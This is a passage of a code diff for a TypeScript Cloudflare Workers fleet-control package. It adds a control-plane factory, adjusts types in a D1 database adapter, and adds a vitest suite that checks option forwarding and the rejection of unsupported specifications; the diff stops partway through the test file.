+ DurableObjectMigration, + ExternalMigrationIntent, + ExternalMigrationSubphase, + ExternalPlatformResources, + ExternalPlatformTargetDescription, + ExternalReleaseSnapshot, + ExternalReleaseTopology, + FleetInventoryDeployment, + FleetInventoryFinding, + FleetSettlementContext, + FleetSettlementEntry, + InvocationAuthorityCarrier, + MaintenanceHealth, + NormalDecommissionLifecyclePhase, + ObservedActiveRoute, + PlainBackendSnapshot, + PlatformWorkerSnapshot, + ProvisioningBackendKind, + ProvisioningPhase, + R2Jurisdiction, + WorkerModule, + WorkerZoneRoute, +} from './types.js'; +export type { + AttestConvergedActiveRouteOptions, + CleanupAdvanceAction, + CleanupAdvanceResult, + CleanupTerminalReceipt, + DecommissionAdvanceAction, + DecommissionAdvanceResult, + DeploymentSecrets, + DeploymentSpec, + FleetAuditAdvanceAction, + FleetAuditAdvanceResult, + FleetAuditFindingsPage, + FleetInventoryAdvanceResult, + FleetInventoryGenerationRef, + FleetMigrationAdvanceAction, + FleetMigrationAdvanceResult, + FleetMigrationItem, + FleetOperationKind, + FleetRecord, + FleetResourceInventory, + FleetSettlementHost, + InitialExecutionFenceState, + ProvisioningResult, + R2DatabaseExportStoreOptions, +}; + +export interface CloudflareControlPlaneOptions { + readonly accountId: string; + readonly apiToken: string; + readonly fleetDatabase: D1Database; + readonly quotaDatabase: D1Database; + readonly quotaScope: string; + readonly databaseExports: R2DatabaseExportStoreOptions; + readonly leaseTtlMs?: number; + readonly leaseRenewalIntervalMs?: number; + readonly concurrency?: number; + readonly requestTimeoutMs?: number; + readonly fetch?: typeof fetch; + readonly maintenanceFetch?: typeof fetch; + readonly maintenanceRequestTimeoutMs?: number; + readonly clock?: () => number; + readonly randomUUID?: () => string; +} + +export type CloudflareDeploymentSpec = Omit< + DeploymentSpec, + 'authoredBy' | 'durableObjectBindings' +> & { + readonly authoredBy: 'platform'; + readonly durableObjectBindings: readonly Readonly<{ + name: string; + className: string; + scriptName?: string; + }>[]; +}; + +export interface CloudflareProvisionDeploymentOptions { + readonly spec: CloudflareDeploymentSpec; + readonly secrets: DeploymentSecrets; + readonly initialExecutionFenceState: InitialExecutionFenceState; + readonly routeAttestation?: AttestConvergedActiveRouteOptions; + readonly clock?: () => number; +} + +export interface CloudflareAdvanceCleanupDeploymentOptions { + readonly spec: CloudflareDeploymentSpec; + readonly action: CleanupAdvanceAction; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly clock?: () => number; +} + +export interface CloudflareAdvanceDecommissionDeploymentOptions { + readonly spec: CloudflareDeploymentSpec; + readonly action: DecommissionAdvanceAction; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly clock?: () => number; +} + +export interface CloudflareFleetInventoryOptions { + readonly databaseNamePrefix: string; + readonly scriptNamePrefix: string; + readonly includeR2Buckets?: boolean; +} + +export type CloudflareFleetInventoryAdvanceAction = + | Readonly<{ + kind: 'start'; + operationId: string; + options: CloudflareFleetInventoryOptions; + }> + | Readonly<{ kind: 'continue'; token: unknown }>; + +export interface CloudflareAdvanceFleetInventoryOptions { + readonly action: CloudflareFleetInventoryAdvanceAction; + readonly maxProviderRequests: number; + readonly maxStagedRowsPerChunk?: number; + readonly signal?: AbortSignal; +} + +export interface CloudflareAdvanceFleetAuditOptions { + readonly action: FleetAuditAdvanceAction; + readonly specFor: (record: FleetRecord) => CloudflareDeploymentSpec; + readonly maintenanceSecretFor: (record: FleetRecord) => string; + readonly maxItemsPerCall?: number; + readonly auditClock?: () => number; + readonly authorityClock?: () => number; + readonly signal?: AbortSignal; +} + +export interface CloudflareAdvanceFleetMigrationOptions { + readonly action: FleetMigrationAdvanceAction; + readonly specFor: (record: FleetRecord) => CloudflareDeploymentSpec; + readonly secretsFor: (record: FleetRecord) => DeploymentSecrets; + readonly settlementFor?: ( + record: FleetRecord, + ) => FleetSettlementHost | undefined; + readonly routeAttestation?: AttestConvergedActiveRouteOptions; + readonly clock?: () => number; +} + +export interface CloudflareFleetOperationPageOptions { + readonly operationId: string; + readonly afterOrdinal?: number; + readonly limit: number; +} + +export interface CloudflareFleetMigrationItemsPage { + readonly items: readonly FleetMigrationItem[]; + readonly done: boolean; +} + +export interface CloudflareControlPlane { + provisionDeployment( + options: CloudflareProvisionDeploymentOptions, + ): Promise; + advanceCleanupDeployment( + options: CloudflareAdvanceCleanupDeploymentOptions, + ): Promise; + advanceDecommissionDeployment( + options: CloudflareAdvanceDecommissionDeploymentOptions, + ): Promise; + advanceFleetInventory( + options: CloudflareAdvanceFleetInventoryOptions, + ): Promise; + readFleetInventoryGeneration( + generation: number, + ): Promise; + latestFinalizedInventoryGeneration(): Promise< + FleetInventoryGenerationRef | undefined + >; + advanceFleetAudit( + options: CloudflareAdvanceFleetAuditOptions, + ): Promise; + readFleetAuditFindingsPage( + options: CloudflareFleetOperationPageOptions, + ): Promise; + abandonFleetAuditOperation(operationId: string): Promise; + advanceFleetMigration( + options: CloudflareAdvanceFleetMigrationOptions, + ): Promise; + readFleetMigrationItemsPage( + options: CloudflareFleetOperationPageOptions, + ): Promise; + abandonFleetMigrationOperation(operationId: string): Promise; + getDeployment( + tenantTag: string, + environment: string, + ): Promise; + readCleanupReceipt( + operationId: string, + ): Promise; + pruneCleanupReceipts( + input: Readonly<{ completedBeforeMs: number; limit: number }>, + ): Promise>; + pruneInventoryGenerations( + input: Readonly<{ limit: number }>, + ): Promise>; + pruneFleetOperations( + input: Readonly<{ kind: FleetOperationKind; limit: number }>, + ): Promise>; +} + +function ordinarySpec(spec: DeploymentSpec): CloudflareDeploymentSpec { + if (spec.authoredBy !== 'platform') { + throw new TypeError( + 'Cloudflare control plane requires platform-authored specifications', + ); + } + for (const binding of spec.durableObjectBindings) { + if (binding.dispatchNamespace !== undefined) { + throw new TypeError( + 'Cloudflare control plane cannot use dispatch namespace bindings', + ); + } + } + return spec as CloudflareDeploymentSpec; +} + +export function createCloudflareControlPlane( + options: CloudflareControlPlaneOptions, +): CloudflareControlPlane { + const { + accountId, + apiToken, + fleetDatabase, + quotaDatabase, + quotaScope, + databaseExports, + leaseTtlMs, + leaseRenewalIntervalMs, + concurrency, + requestTimeoutMs, + fetch: providerFetch, + maintenanceFetch, + maintenanceRequestTimeoutMs, + } = options; + const clock = options.clock?.bind(options); + const randomUUID = + options.randomUUID?.bind(options) ?? (() => crypto.randomUUID()); + const database = new D1FleetStateDatabase(fleetDatabase); + const storeOptions = { accountId, leaseTtlMs, leaseRenewalIntervalMs }; + const fleetStore = new D1FleetStateStore(database, storeOptions); + const inventoryStore = new D1FleetInventoryRunStore(database, storeOptions); + const operationStore = new D1FleetOperationStore(database, { + accountId, + leaseTtlMs, + leaseRenewalIntervalMs, + inventoryStore, + }); + const rateCoordinator = new D1CloudflareApiRateCoordinator(quotaDatabase, { + quotaScope, + }); + const exportStore = new R2DatabaseExportStore(databaseExports); + const client = new CloudflareProvisioningClient({ + accountId, + apiToken, + plane: 'plain-worker', + rateCoordinator, + exportStore, + concurrency, + requestTimeoutMs, + fetch: providerFetch, + }); + const backend = new CloudflareApiPlainWorkerBackend({ + client, + fetch: maintenanceFetch, + maintenanceRequestTimeoutMs, + clock, + }); + const backendFor = (record: FleetRecord): CloudflareApiPlainWorkerBackend => { + if (record.backend !== 'plain-worker') { + throw new TypeError( + 'Cloudflare control plane requires plain-worker records', + ); + } + return backend; + }; + + return Object.freeze({ + async provisionDeployment(input: CloudflareProvisionDeploymentOptions) { + return provisionDeployment({ + backend, + store: fleetStore, + spec: ordinarySpec(input.spec), + secrets: input.secrets, + initialExecutionFenceState: input.initialExecutionFenceState, + routeAttestation: input.routeAttestation, + failureCleanup: 'bounded', + clock: input.clock?.bind(input), + }); + }, + async advanceCleanupDeployment( + input: CloudflareAdvanceCleanupDeploymentOptions, + ) { + return advanceCleanupDeployment({ + backend, + store: fleetStore, + spec: ordinarySpec(input.spec), + action: input.action, + maxProviderRequests: input.maxProviderRequests, + signal: input.signal, + clock: input.clock?.bind(input), + randomUUID, + }); + }, + async advanceDecommissionDeployment( + input: CloudflareAdvanceDecommissionDeploymentOptions, + ) { + return advanceDecommissionDeployment({ + backend, + store: fleetStore, + spec: ordinarySpec(input.spec), + action: input.action, + maxProviderRequests: input.maxProviderRequests, + signal: input.signal, + clock: input.clock?.bind(input), + randomUUID, + }); + }, + async advanceFleetInventory(input: CloudflareAdvanceFleetInventoryOptions) { + const context = cloudflareFleetInventoryContext(client); + const action = input.action; + return advanceFleetInventory({ + context: { + async advanceStage(stageInput) { + if ( + stageInput.options.includeDispatchNamespace || + stageInput.options.hostRoutingKvId !== undefined + ) { + throw new TypeError( + 'Cloudflare control plane cannot advance dispatch or host-routing inventory', + ); + } + return context.advanceStage(stageInput); + }, + }, + store: inventoryStore, + action: + action.kind === 'start' + ? { + kind: 'start', + operationId: action.operationId, + options: { + databaseNamePrefix: action.options.databaseNamePrefix, + scriptNamePrefix: action.options.scriptNamePrefix, + includeR2Buckets: action.options.includeR2Buckets, + includeDispatchNamespace: false, + }, + } + : { kind: action.kind, token: action.token }, + maxProviderRequests: input.maxProviderRequests, + maxStagedRowsPerChunk: input.maxStagedRowsPerChunk, + signal: input.signal, + }); + }, + readFleetInventoryGeneration: (generation: number) => + readFleetInventoryGeneration(inventoryStore, generation), + latestFinalizedInventoryGeneration: () => + inventoryStore.latestFinalizedGeneration(), + async advanceFleetAudit(input: CloudflareAdvanceFleetAuditOptions) { + const specFor = input.specFor.bind(input); + return advanceFleetAudit({ + operationStore, + inventoryStore, + fleetStore, + backendFor, + specFor: (record) => ordinarySpec(specFor(record)), + maintenanceSecretFor: input.maintenanceSecretFor.bind(input), + action: input.action, + maxItemsPerCall: input.maxItemsPerCall, + auditClock: input.auditClock?.bind(input), + authorityClock: input.authorityClock?.bind(input), + signal: input.signal, + }); + }, + readFleetAuditFindingsPage: (input: CloudflareFleetOperationPageOptions) => + readFleetAuditFindingsPage(operationStore, { + operationId: input.operationId, + afterOrdinal: input.afterOrdinal, + limit: input.limit, + }), + abandonFleetAuditOperation: (operationId: string) => + abandonFleetAuditOperation({ + operationStore, + inventoryStore, + operationId, + }), + async advanceFleetMigration(input: CloudflareAdvanceFleetMigrationOptions) { + const specFor = input.specFor.bind(input); + return advanceFleetMigration({ + operationStore, + fleetStore, + backendFor, + specFor: (record) => ordinarySpec(specFor(record)), + secretsFor: input.secretsFor.bind(input), + settlementFor: input.settlementFor?.bind(input), + action: input.action, + routeAttestation: input.routeAttestation, + clock: input.clock?.bind(input), + }); + }, + readFleetMigrationItemsPage: (input: CloudflareFleetOperationPageOptions) => + readFleetMigrationItemsPage(operationStore, { + operationId: input.operationId, + afterOrdinal: input.afterOrdinal, + limit: input.limit, + }), + abandonFleetMigrationOperation: (operationId: string) => + abandonFleetMigrationOperation({ operationStore, operationId }), + getDeployment: (tenantTag: string, environment: string) => + fleetStore.get(tenantTag, environment), + readCleanupReceipt: (operationId: string) => + fleetStore.readCleanupReceipt(operationId), + pruneCleanupReceipts: ( + input: Readonly<{ completedBeforeMs: number; limit: number }>, + ) => + fleetStore.pruneCleanupReceipts({ + completedBeforeMs: input.completedBeforeMs, + limit: input.limit, + }), + pruneInventoryGenerations: (input: Readonly<{ limit: number }>) => + inventoryStore.pruneInventoryGenerations({ limit: input.limit }), + pruneFleetOperations: ( + input: Readonly<{ kind: FleetOperationKind; limit: number }>, + ) => + operationStore.pruneFleetOperations({ + kind: input.kind, + limit: input.limit, + }), + }); +} diff --git a/packages/fleet-control/src/d1-fleet-state-database.ts b/packages/fleet-control/src/d1-fleet-state-database.ts index 1af5fa70..e18c8e72 100644 --- a/packages/fleet-control/src/d1-fleet-state-database.ts +++ b/packages/fleet-control/src/d1-fleet-state-database.ts @@ -73,7 +73,7 @@ export class D1FleetStateDatabase implements FleetStateDatabase { async query( sql: string, bindings: readonly unknown[] = [], - ): Promise { + ): Promise>[]> { const envelope: unknown = await this.#statement(sql, bindings).all(); validateEnvelope(envelope, 'D1 query returned a malformed result'); return envelope.results; @@ -93,7 +93,7 @@ export class D1FleetStateDatabase implements FleetStateDatabase { sql: string; bindings?: readonly unknown[]; }>[], - ): Promise { + ): Promise>[])[]> { // The port's result is one entry per statement, so an empty list has no // statement to send. if (statements.length === 0) return []; diff --git a/packages/fleet-control/test/cloudflare-control-plane.test.ts b/packages/fleet-control/test/cloudflare-control-plane.test.ts new file mode 100644 index 00000000..fe2300ba --- /dev/null +++ b/packages/fleet-control/test/cloudflare-control-plane.test.ts @@ -0,0 +1,979 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { D1Database, R2Bucket } from '@cloudflare/workers-types'; +import { beforeEach, describe, expect, it, vi } from 'vitest'; +import { advanceCleanupDeployment } from '../src/cleanup-advance.js'; +import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js'; +import { cloudflareFleetInventoryContext } from '../src/cloudflare-client.js'; +import { + type CloudflareAdvanceFleetAuditOptions, + type CloudflareAdvanceFleetMigrationOptions, + type CloudflareControlPlaneOptions, + type CloudflareDeploymentSpec, + createCloudflareControlPlane, + D1CloudflareApiRateCoordinator, + D1FleetStateDatabase, + ProvisioningError, + R2DatabaseExportStore, +} from '../src/cloudflare-control-plane.js'; +import { D1FleetInventoryRunStore } from '../src/d1-fleet-inventory-run-store.js'; +import { D1FleetOperationStore } from '../src/d1-fleet-operation-store.js'; +import { advanceDecommissionDeployment } from '../src/decommission-advance.js'; +import { + abandonFleetAuditOperation, + advanceFleetAudit, + readFleetAuditFindingsPage, +} from '../src/fleet-audit-advance.js'; +import { + advanceFleetInventory, + readFleetInventoryGeneration, +} from '../src/fleet-inventory-advance.js'; +import { + canonicalFleetInventoryRunOptions, + emptyFleetInventoryRowCounts, + type FleetInventoryProviderContext, + type FleetInventoryStageInput, +} from '../src/fleet-inventory-state.js'; +import { + abandonFleetMigrationOperation, + advanceFleetMigration, + readFleetMigrationItemsPage, +} from '../src/fleet-migration-advance.js'; +import { provisionDeployment } from '../src/provision.js'; +import { D1FleetStateStore } from '../src/state-store.js'; +import type { FleetRecord } from '../src/types.js'; +import { + initialSpec, + routeAttestation, + sharedSecrets, +} from './fixtures/plain-worker-harnesses.js'; +import { nodeWorkerStreams } from './fixtures/worker-streams.js'; + +const constructed = vi.hoisted(() => ({ + database: vi.fn(), + fleetStore: vi.fn(), + inventoryStore: vi.fn(), + operationStore: vi.fn(), + quota: vi.fn(), + client: vi.fn(), + backend: vi.fn(), +})); + +vi.mock('../src/d1-fleet-state-database.js', async (importOriginal) => { + const actual = + await importOriginal(); + return { + ...actual, + D1FleetStateDatabase: class extends actual.D1FleetStateDatabase { + constructor( + ...args: ConstructorParameters + ) { + super(...args); + constructed.database(this, ...args); + } + }, + }; +}); +vi.mock('../src/state-store.js', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + D1FleetStateStore: class extends actual.D1FleetStateStore { + constructor( + ...args: ConstructorParameters + ) { + super(...args); + constructed.fleetStore(this, ...args); + } + }, + }; +}); +vi.mock('../src/d1-fleet-inventory-run-store.js', async (importOriginal) => { + const actual = + await importOriginal< + typeof import('../src/d1-fleet-inventory-run-store.js') + >(); + return { + ...actual, + D1FleetInventoryRunStore: class extends actual.D1FleetInventoryRunStore { + constructor( + ...args: ConstructorParameters + ) { + super(...args); + constructed.inventoryStore(this, ...args); + } + }, + }; +}); +vi.mock('../src/d1-fleet-operation-store.js', async (importOriginal) => { + const actual = + await importOriginal(); + return { + ...actual, + D1FleetOperationStore: class extends actual.D1FleetOperationStore { + constructor( + ...args: ConstructorParameters + ) { + super(...args); + constructed.operationStore(this, ...args); + } + }, + }; +}); +vi.mock('../src/cloudflare-rate-coordinator.js', async (importOriginal) => { + const actual = + await importOriginal< + typeof import('../src/cloudflare-rate-coordinator.js') + >(); + return { + ...actual, + D1CloudflareApiRateCoordinator: class extends actual.D1CloudflareApiRateCoordinator { + constructor( + ...args: ConstructorParameters< + typeof actual.D1CloudflareApiRateCoordinator + > + ) { + super(...args); + constructed.quota(this, ...args); + } + }, + }; +}); +vi.mock('../src/cloudflare-client.js', async (importOriginal) => { + const actual = + await importOriginal(); + return { + ...actual, + CloudflareProvisioningClient: class extends actual.CloudflareProvisioningClient { + constructor( + ...args: ConstructorParameters< + typeof actual.CloudflareProvisioningClient + > + ) { + super(...args); + constructed.client(this, ...args); + } + }, + cloudflareFleetInventoryContext: vi.fn(), + }; +}); +vi.mock( + '../src/cloudflare-api-plain-worker-backend.js', + async (importOriginal) => { + const actual = + await importOriginal< + typeof import('../src/cloudflare-api-plain-worker-backend.js') + >(); + return { + ...actual, + CloudflareApiPlainWorkerBackend: class extends actual.CloudflareApiPlainWorkerBackend { + constructor( + ...args: ConstructorParameters< + typeof actual.CloudflareApiPlainWorkerBackend + > + ) { + super(...args); + constructed.backend(this, ...args); + } + }, + }; + }, +); +vi.mock('../src/provision.js', async (importOriginal) => ({ + ...(await importOriginal()), + provisionDeployment: vi.fn(), +})); +vi.mock('../src/cleanup-advance.js', async (importOriginal) => ({ + ...(await importOriginal()), + advanceCleanupDeployment: vi.fn(), +})); +vi.mock('../src/decommission-advance.js', async (importOriginal) => ({ + ...(await importOriginal()), + advanceDecommissionDeployment: vi.fn(), +})); +vi.mock('../src/fleet-inventory-advance.js', async (importOriginal) => ({ + ...(await importOriginal< + typeof import('../src/fleet-inventory-advance.js') + >()), + advanceFleetInventory: vi.fn(), + readFleetInventoryGeneration: vi.fn(), +})); +vi.mock('../src/fleet-audit-advance.js', async (importOriginal) => ({ + ...(await importOriginal()), + advanceFleetAudit: vi.fn(), + readFleetAuditFindingsPage: vi.fn(), + abandonFleetAuditOperation: vi.fn(), +})); +vi.mock('../src/fleet-migration-advance.js', async (importOriginal) => ({ + ...(await importOriginal< + typeof import('../src/fleet-migration-advance.js') + >()), + advanceFleetMigration: vi.fn(), + readFleetMigrationItemsPage: vi.fn(), + abandonFleetMigrationOperation: vi.fn(), +})); + +const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; +const SPEC: CloudflareDeploymentSpec = { + ...initialSpec(), + authoredBy: 'platform', +}; +const RECORD: FleetRecord = { + tenantTag: SPEC.tenantTag, + environment: SPEC.environment, + scriptName: SPEC.scriptName, + databaseName: SPEC.databaseName, + databaseId: 'database-1', + backend: 'plain-worker', + schemaVersion: SPEC.schemaVersion, + artifactVersion: 'artifact-1', + desiredSpecDigest: 'a'.repeat(64), + durableObjectBindings: [], + routeHostname: SPEC.routeHostname, + phase: 'ready', + updatedAt: '2026-09-09T00:00:00.000Z', +}; +const TOKEN = { + version: 1 as const, + tenantTag: SPEC.tenantTag, + environment: SPEC.environment, + operationId: OPERATION_ID, + revision: 1, +}; + +function required(value: T | undefined): T { + expect(value).toBeDefined(); + if (value === undefined) throw new Error('missing recorded call'); + return value; +} + +function binding(): D1Database { + return { prepare: vi.fn(), batch: vi.fn() } as unknown as D1Database; +} + +function hostOptions(): CloudflareControlPlaneOptions { + return { + accountId: 'account-1', + apiToken: 'provider-token', + fleetDatabase: binding(), + quotaDatabase: binding(), + quotaScope: 'account-token-quota', + databaseExports: { + bucket: { + put: vi.fn(), + get: vi.fn(), + delete: vi.fn(), + } as unknown as R2Bucket, + bucketName: 'fleet-exports', + streams: nodeWorkerStreams, + randomUUID: () => OPERATION_ID, + }, + randomUUID: () => OPERATION_ID, + }; +} + +function stageInput( + overrides: Partial = {}, +): FleetInventoryStageInput { + return { + stage: { step: 'ordinary-scripts' }, + options: canonicalFleetInventoryRunOptions({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: false, + ...overrides, + }), + progress: { + providerRequests: 0, + generation: 1, + revision: 0, + stage: { step: 'ordinary-scripts' }, + stagedCounts: emptyFleetInventoryRowCounts(), + factCount: 0, + }, + maxProviderRequests: 9, + }; +} + +beforeEach(() => { + vi.resetAllMocks(); + vi.mocked(cloudflareFleetInventoryContext).mockImplementation(() => ({ + advanceStage: vi.fn(async () => ({ + rows: [], + facts: [], + nextStage: { step: 'finalize' as const }, + providerRequests: 1, + diagnostics: [], + })), + })); +}); + +describe('Cloudflare control-plane composition with real constructors and mocked coordinator forwarding', () => { + it('selects ordinary client construction and concrete D1 stores with inventory pin release wiring', () => { + const options = { + ...hostOptions(), + leaseTtlMs: 10_000, + leaseRenewalIntervalMs: 1_000, + concurrency: 2, + requestTimeoutMs: 4_000, + fetch: vi.fn(), + maintenanceFetch: vi.fn(), + maintenanceRequestTimeoutMs: 3_000, + clock: () => 99, + plane: 'workers-for-platforms', + dispatchNamespace: 'forged-dispatch', + rateCoordinator: {}, + exportStore: {}, + client: {}, + backend: {}, + store: {}, + inventoryStore: {}, + operationStore: {}, + }; + createCloudflareControlPlane(options); + const [database, fleetBinding] = required( + constructed.database.mock.calls[0], + ); + const [fleetStore, fleetAdapter, fleetOptions] = required( + constructed.fleetStore.mock.calls[0], + ); + const [inventoryStore, inventoryAdapter, inventoryOptions] = required( + constructed.inventoryStore.mock.calls[0], + ); + const [operationStore, operationAdapter, operationOptions] = required( + constructed.operationStore.mock.calls[0], + ); + const [quota, quotaBinding, quotaOptions] = required( + constructed.quota.mock.calls[0], + ); + const [client, clientOptions] = required(constructed.client.mock.calls[0]); + const [backend, backendOptions] = required( + constructed.backend.mock.calls[0], + ); + expect(database).toBeInstanceOf(D1FleetStateDatabase); + expect(fleetBinding).toBe(options.fleetDatabase); + expect([fleetAdapter, inventoryAdapter, operationAdapter]).toEqual([ + database, + database, + database, + ]); + expect(fleetStore).toBeInstanceOf(D1FleetStateStore); + expect(inventoryStore).toBeInstanceOf(D1FleetInventoryRunStore); + expect(operationStore).toBeInstanceOf(D1FleetOperationStore); + expect(fleetOptions).toEqual({ + accountId: options.accountId, + leaseTtlMs: 10_000, + leaseRenewalIntervalMs: 1_000, + }); + expect(inventoryOptions).toEqual(fleetOptions); + expect(operationOptions).toEqual({ ...fleetOptions, inventoryStore }); + expect(quota).toBeInstanceOf(D1CloudflareApiRateCoordinator); + expect(quotaBinding).toBe(options.quotaDatabase); + expect(quotaOptions).toEqual({ quotaScope: options.quotaScope }); + expect(clientOptions).toEqual({ + accountId: options.accountId, + apiToken: options.apiToken, + plane: 'plain-worker', + rateCoordinator: quota, + exportStore: expect.any(R2DatabaseExportStore), + concurrency: 2, + requestTimeoutMs: 4_000, + fetch: options.fetch, + }); + expect(backend).toBeInstanceOf(CloudflareApiPlainWorkerBackend); + expect(backendOptions).toEqual({ + client, + fetch: options.maintenanceFetch, + maintenanceRequestTimeoutMs: 3_000, + clock: expect.any(Function), + }); + expect(backendOptions.clock()).toBe(99); + expect(options.fleetDatabase.prepare).not.toHaveBeenCalled(); + expect(options.quotaDatabase.prepare).not.toHaveBeenCalled(); + expect(options.fetch).not.toHaveBeenCalled(); + expect(options.maintenanceFetch).not.toHaveBeenCalled(); + }); + + it('returns a frozen plain object without raw client, backend, or store capabilities', () => { + const control = createCloudflareControlPlane(hostOptions()); + expect(Object.getPrototypeOf(control)).toBe(Object.prototype); + expect(Object.isFrozen(control)).toBe(true); + expect(Reflect.ownKeys(control).sort()).toEqual( + [ + 'abandonFleetAuditOperation', + 'abandonFleetMigrationOperation', + 'advanceCleanupDeployment', + 'advanceDecommissionDeployment', + 'advanceFleetAudit', + 'advanceFleetInventory', + 'advanceFleetMigration', + 'getDeployment', + 'latestFinalizedInventoryGeneration', + 'provisionDeployment', + 'pruneCleanupReceipts', + 'pruneFleetOperations', + 'pruneInventoryGenerations', + 'readCleanupReceipt', + 'readFleetAuditFindingsPage', + 'readFleetInventoryGeneration', + 'readFleetMigrationItemsPage', + ].sort(), + ); + expect( + Object.values(control).every((value) => typeof value === 'function'), + ).toBe(true); + expect(() => Object.assign(control, { backend: {} })).toThrow(TypeError); + }); + + it('forces bounded failure cleanup and preserves the coordinator error and cleanup outcome', async () => { + const control = createCloudflareControlPlane(hostOptions()); + const cleanup = { status: 'pending' as const, token: TOKEN }; + const failure = new ProvisioningError( + 'failed', + new Error('provider failure'), + [], + cleanup, + ); + vi.mocked(provisionDeployment).mockRejectedValueOnce(failure); + const input = { + spec: SPEC, + secrets: sharedSecrets, + initialExecutionFenceState: 'open' as const, + routeAttestation, + clock: () => 100, + failureCleanup: 'drain', + backend: {}, + store: {}, + finalizedStateProvider: {}, + }; + await expect(control.provisionDeployment(input)).rejects.toBe(failure); + expect(failure.cleanup).toBe(cleanup); + const forwarded = required(vi.mocked(provisionDeployment).mock.calls[0])[0]; + expect(forwarded).toEqual({ + backend: required(constructed.backend.mock.calls[0])[0], + store: required(constructed.fleetStore.mock.calls[0])[0], + spec: SPEC, + secrets: sharedSecrets, + initialExecutionFenceState: 'open', + routeAttestation, + failureCleanup: 'bounded', + clock: expect.any(Function), + }); + expect(forwarded.clock?.()).toBe(100); + expect(advanceCleanupDeployment).not.toHaveBeenCalled(); + }); + + it.each([ + 'advanceCleanupDeployment', + 'advanceDecommissionDeployment', + ] as const)('forwards %s once with captured UUID authority and call-local inputs', async (method) => { + const host = { + ...hostOptions(), + randomUUID() { + expect(this).toBe(host); + return OPERATION_ID; + }, + clock() { + expect(this).toBe(host); + return 90; + }, + }; + const control = createCloudflareControlPlane(host); + const coordinator = + method === 'advanceCleanupDeployment' + ? vi.mocked(advanceCleanupDeployment) + : vi.mocked(advanceDecommissionDeployment); + const result = { status: 'pending' as const, token: TOKEN }; + coordinator.mockResolvedValueOnce(result); + const action = { kind: 'continue' as const, token: TOKEN }; + const input = { + spec: SPEC, + action, + maxProviderRequests: 9, + signal: new AbortController().signal, + clock() { + expect(this).toBe(input); + return 101; + }, + randomUUID: () => 'forged-uuid', + backend: {}, + store: {}, + }; + host.randomUUID = () => 'mutated-uuid'; + host.clock = () => 999; + Reflect.set(host, 'fleetDatabase', binding()); + const invoke = control[method]; + await expect(invoke(input)).resolves.toBe(result); + const forwarded = required(coordinator.mock.calls[0])[0]; + expect(forwarded).toEqual({ + backend: required(constructed.backend.mock.calls[0])[0], + store: required(constructed.fleetStore.mock.calls[0])[0], + spec: SPEC, + action, + maxProviderRequests: 9, + signal: input.signal, + clock: expect.any(Function), + randomUUID: expect.any(Function), + }); + expect(forwarded.randomUUID()).toBe(OPERATION_ID); + expect(forwarded.clock?.()).toBe(101); + expect(required(constructed.backend.mock.calls[0])[1].clock()).toBe(90); + expect(coordinator).toHaveBeenCalledTimes(1); + }); + + it('uses the runtime UUID source when the host does not provide one', async () => { + const options = hostOptions(); + const control = createCloudflareControlPlane({ + ...options, + randomUUID: undefined, + }); + await control.advanceCleanupDeployment({ + spec: SPEC, + action: { kind: 'start' }, + maxProviderRequests: 9, + }); + const randomUUID = required( + vi.mocked(advanceCleanupDeployment).mock.calls[0], + )[0].randomUUID; + expect(randomUUID()).toMatch( + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u, + ); + }); + + it.each([ + { ...SPEC, authoredBy: 'external' }, + { + ...SPEC, + durableObjectBindings: [ + { + name: 'RUNNER', + className: 'Runner', + scriptName: 'state', + dispatchNamespace: 'platform', + }, + ], + }, + ])('rejects nonordinary runtime specifications before lifecycle forwarding', async (invalid) => { + const control = createCloudflareControlPlane(hostOptions()); + const spec = invalid as CloudflareDeploymentSpec; + await expect( + control.provisionDeployment({ + spec, + secrets: sharedSecrets, + initialExecutionFenceState: 'open', + }), + ).rejects.toThrow(TypeError); + await expect( + control.advanceCleanupDeployment({ + spec, + action: { kind: 'start' }, + maxProviderRequests: 9, + }), + ).rejects.toThrow(TypeError); + await expect( + control.advanceDecommissionDeployment({ + spec, + action: { kind: 'start' }, + maxProviderRequests: 9, + }), + ).rejects.toThrow(TypeError); + expect(provisionDeployment).not.toHaveBeenCalled(); + expect(advanceCleanupDeployment).not.toHaveBeenCalled(); + expect(advanceDecommissionDeployment).not.toHaveBeenCalled(); + }); + + it('creates an inventory context per invocation and strips dispatch and host-routing start options', async () => { + const control = createCloudflareControlPlane(hostOptions()); + const result = { + status: 'pending' as const, + token: { version: 1 as const, operationId: OPERATION_ID, revision: 1 }, + }; + vi.mocked(advanceFleetInventory).mockResolvedValue(result); + const input = { + action: { + kind: 'start' as const, + operationId: OPERATION_ID, + options: { + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeR2Buckets: true, + includeDispatchNamespace: true, + hostRoutingKvId: 'root-hosts', + }, + }, + maxProviderRequests: 9, + maxStagedRowsPerChunk: 13, + signal: new AbortController().signal, + context: {}, + store: {}, + }; + await expect(control.advanceFleetInventory(input)).resolves.toBe(result); + await control.advanceFleetInventory({ + ...input, + action: { kind: 'continue', token: result.token }, + }); + const first = required(vi.mocked(advanceFleetInventory).mock.calls[0])[0]; + const second = required(vi.mocked(advanceFleetInventory).mock.calls[1])[0]; + expect(first).toEqual({ + context: { advanceStage: expect.any(Function) }, + store: required(constructed.inventoryStore.mock.calls[0])[0], + action: { + kind: 'start', + operationId: OPERATION_ID, + options: { + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeR2Buckets: true, + includeDispatchNamespace: false, + }, + }, + maxProviderRequests: 9, + maxStagedRowsPerChunk: 13, + signal: input.signal, + }); + expect(first.context).not.toBe(second.context); + expect(second.action).toEqual({ kind: 'continue', token: result.token }); + expect(cloudflareFleetInventoryContext).toHaveBeenCalledTimes(2); + expect( + required(vi.mocked(cloudflareFleetInventoryContext).mock.results[0]) + .value, + ).not.toBe( + required(vi.mocked(cloudflareFleetInventoryContext).mock.results[1]) + .value, + ); + expect(cloudflareFleetInventoryContext).toHaveBeenNthCalledWith( + 1, + required(constructed.client.mock.calls[0])[0], + ); + expect(cloudflareFleetInventoryContext).toHaveBeenNthCalledWith( + 